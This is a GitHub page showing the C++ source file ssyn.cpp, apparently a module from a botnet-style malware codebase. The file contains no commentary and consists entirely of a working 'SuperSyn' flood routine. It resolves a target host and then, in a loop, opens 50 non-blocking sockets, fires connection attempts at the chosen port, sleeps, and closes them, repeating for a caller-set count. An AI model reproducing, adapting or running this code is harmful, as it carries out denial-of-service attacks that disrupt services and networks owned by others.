-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathssyn.cpp
67 lines (59 loc) · 1.58 KB
/
ssyn.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include "includes.h"
#include "externs.h"
#define MAX_PACK_LEN 65535
#define SIO_RCALL 0x98000001
#define SUPERSYN_SOCKETS 50
#define SYN_DPORT 2000
#define SYN_XORVAL 0xFFFFFFFF
#define SYN_SPOOF_TEST 2001
#define SYN_SPOOF_GOOD 2002
long SuperSynSend(unsigned long TargetIP, unsigned short TargetPort, int len)
{
int superdelay = 100;
SOCKADDR_IN SockAddr;
SOCKET sock[SUPERSYN_SOCKETS];
IN_ADDR iaddr;
memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(TargetPort);
LPHOSTENT lpHostEntry = NULL;
DWORD mode = 1;
int c,i;
iaddr.s_addr = TargetIP;
SockAddr.sin_addr = iaddr; //ip addy
i = 0;
while (i < len) {
for (c=0;c<SUPERSYN_SOCKETS;c++)
{
sock[c] = socket(AF_INET, SOCK_STREAM, 0);
if (sock[c] == INVALID_SOCKET)
continue;
ioctlsocket(sock[c],FIONBIO,&mode);
}
for (c=0;c<SUPERSYN_SOCKETS;c++)
connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr));
Sleep(superdelay);
for (c=0;c<SUPERSYN_SOCKETS;c++)
closesocket(sock[c]); //close sockets
i++;
}
return 0;
}
long SuperSyn(char *target, char *port, char *len)
{
unsigned long IP = inet_addr(target);
if (IP==INADDR_NONE) {
hostent *pHE = gethostbyname(target);
if (pHE == 0)
return INADDR_NONE;
IP = *((unsigned long *)pHE->h_addr_list[0]);
}
unsigned long TargetIP = IP;
unsigned short p = (unsigned short)atoi(port);
int t = atoi(len);
long num = SuperSynSend(TargetIP, p, t);
if (num == 0)
num = 1;
num = num / 1000 / t;
return num;
}